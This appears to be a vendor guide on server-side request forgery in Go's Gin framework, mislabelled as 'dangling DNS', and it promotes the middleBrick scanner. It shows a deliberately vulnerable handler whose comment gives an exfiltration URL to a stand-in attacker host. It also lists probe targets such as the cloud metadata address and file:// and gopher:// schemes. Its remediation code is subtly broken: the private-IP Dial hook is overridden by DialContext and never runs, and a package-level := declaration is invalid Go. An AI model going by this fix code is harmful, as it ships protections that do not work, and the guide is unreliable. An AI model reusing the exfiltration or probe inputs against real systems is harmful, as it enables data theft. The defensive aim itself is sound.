HIGH dangling dnsgin

Dangling Dns in Gin

How Dangling DNS Manifests in Gin

In Gin, a dangling DNS vulnerability typically arises when an application dynamically constructs outbound requests based on user-supplied input, often to interact with external services (payment gateways, OAuth providers, webhooks). The vulnerability occurs when the application fails to validate that a user-provided hostname resolves to an expected, legitimate IP address. An attacker can supply a domain they control (e.g., attacker.com), causing the Gin server to make a request to the attacker's server. This can lead to credential theft, data exfiltration, or server-side request forgery (SSRF) if the request includes internal headers or tokens.

Common Gin-specific patterns include:

  • Unvalidated URL parameters in HTTP clients: Using http.Get(userSuppliedURL) or similar without restricting the hostname.
  • Dynamic proxy/redirect logic: A Gin handler that reads a redirect_uri or callback_url from a query parameter or JSON body and uses it in a http.Redirect or an outbound http.Post call.
  • Webhook/notification endpoints: An admin feature to configure a third-party webhook URL, stored in a database, that the Gin app calls without validating the stored URL's hostname resolves to an approved list.

Example vulnerable Gin handler that fetches a user-provided URL:

func FetchExternalData(c *gin.Context) {
    targetURL := c.Query("url") // User input: http://attacker.com/exfil?data=secret
    resp, err := http.Get(targetURL)
    if err != nil {
        c.JSON(500, gin.H{"error": "failed to fetch"})
        return
    }
    defer resp.Body.Close()
    body, _ := io.ReadAll(resp.Body)
    c.Data(200, "application/json", body)
}

Here, an attacker can make the Gin server issue a request to any domain, potentially accessing internal services (if the Gin server runs in a VPC) or leaking data via query parameters.

Gin-Specific Detection with middleBrick

middleBrick detects dangling DNS/SSRF vulnerabilities in Gin APIs through a combination of OpenAPI spec analysis and active runtime probing. Since the scanner operates as a black-box, it first parses your OpenAPI/Swagger definition (if available) to identify parameters that likely accept URLs (e.g., named url, callback, redirect_uri, webhook). It then sends crafted requests to those endpoints, substituting the parameter value with a domain under the scanner's control (e.g., http://scan.middlebrick.io/probe).

If the Gin application makes an outbound request to that controlled domain, middleBrick's infrastructure receives the callback, confirming that user input reaches an HTTP client. The scanner also checks for:

  • DNS resolution of private IP ranges: Probing with hostnames that resolve to 127.0.0.1, 169.254.169.254 (AWS metadata), or 10.0.0.0/8 to test for internal network access.
  • Protocol smuggling: Testing if the endpoint accepts non-HTTP schemes like file:// or gopher:// that could lead to local file read or port scanning.
  • OpenAPI spec mismatches: If your spec declares a parameter as a simple string but the runtime behavior treats it as a URL, middleBrick flags a potential security misconfiguration.

For a Gin API, the scan would target any endpoint with query/path/body parameters that accept URLs. The resulting report includes a per-category breakdown under SSRF and Input Validation, with a prioritized finding that includes the exact request/response evidence and remediation guidance specific to Gin's context.

Gin-Specific Remediation

Remediation in Gin involves two layers: strict input validation and safe outbound request handling. Never trust user-supplied URLs. Instead, implement an allowlist of permitted domains or use a robust URL parser to enforce the hostname is public and expected.

1. Validate and sanitize user input: Use Gin's binding and validation tags to reject malformed URLs early. Parse the URL and check its hostname against an allowlist.

type WebhookRequest struct {
    URL string `json:"url" binding:"required,url"`
}

func SetWebhook(c *gin.Context) {
    var req WebhookRequest
    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(400, gin.H{"error": "invalid URL"})
        return
    }

    parsedURL, err := url.Parse(req.URL)
    if err != nil || !isAllowedHost(parsedURL.Hostname()) {
        c.JSON(400, gin.H{"error": "URL host not allowed"})
        return
    }
    // Safe to use parsedURL
    saveToDatabase(parsedURL.String())
    c.JSON(200, gin.H{"status": "saved"})
}

func isAllowedHost(host string) bool {
    allowed := map[string]bool{
        "api.payment-gateway.com": true,
        "notifications.trusted-service.io": true,
    }
    return allowed[host]
}

2. Use safe HTTP clients with restricted transport: When making outbound requests, use a custom http.Transport that blocks private IP ranges and non-HTTP schemes.

var safeTransport = &http.Transport{
    DisableKeepAlives: true,
    DialContext: (&net.Dialer{
        Timeout:   10 * time.Second,
        KeepAlive: 0,
    }).DialContext,
    // Prevent connection to private IPs
    Dial: func(network, address string) (net.Conn, error) {
        host, _, err := net.SplitHostPort(address)
        if err != nil {
            return nil, err
        }
        ips, err := net.LookupIP(host)
        if err != nil {
            return nil, err
        }
        for _, ip := range ips {
            if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsPrivate() {
                return nil, fmt.Errorf("connection to private IP blocked")
            }
        }
        return net.Dial(network, address)
    },
}

safeClient := &http.Client{Transport: safeTransport, Timeout: 10 * time.Second}

func SafeFetch(c *gin.Context) {
    target := c.Query("url")
    parsed, err := url.Parse(target)
    if err != nil || !isAllowedHost(parsed.Hostname()) {
        c.JSON(400, gin.H{"error": "invalid host"})
        return
    }
    resp, err := safeClient.Get(parsed.String())
    // ... handle response
}

3. Consider network-level isolation: Run your Gin application in a container or VPC with egress firewall rules that only allow outbound traffic to known, necessary external services. This is a defense-in-depth measure that complements application-level validation.

By combining allowlist validation with a restricted HTTP client, you eliminate the dangling DNS vector in your Gin handlers. middleBrick's scan will verify that these controls are effective by attempting to trigger an outbound request to a probe domain; a passing scan indicates the vulnerability is remediated.

Frequently Asked Questions

How often should I scan my Gin API with middleBrick?
For production APIs, continuous monitoring (available in Pro and Enterprise tiers) is recommended. middleBrick can scan on a schedule (e.g., daily) and alert on score changes. Alternatively, integrate the GitHub Action to scan on every deploy to staging or production. For development, run the CLI locally before pushing changes.
Can middleBrick produce false positives for dangling DNS in Gin?
False positives are rare but possible if your Gin app makes intentional, validated outbound requests to user-controlled domains (e.g., a legitimate proxy service). In such cases, the finding will include the probe URL that was contacted. You should review the request flow: if the user input is strictly validated and the outbound request uses a safe client with host restrictions, you can mark the finding as a false positive in the dashboard. The remediation guidance above shows how to implement those controls.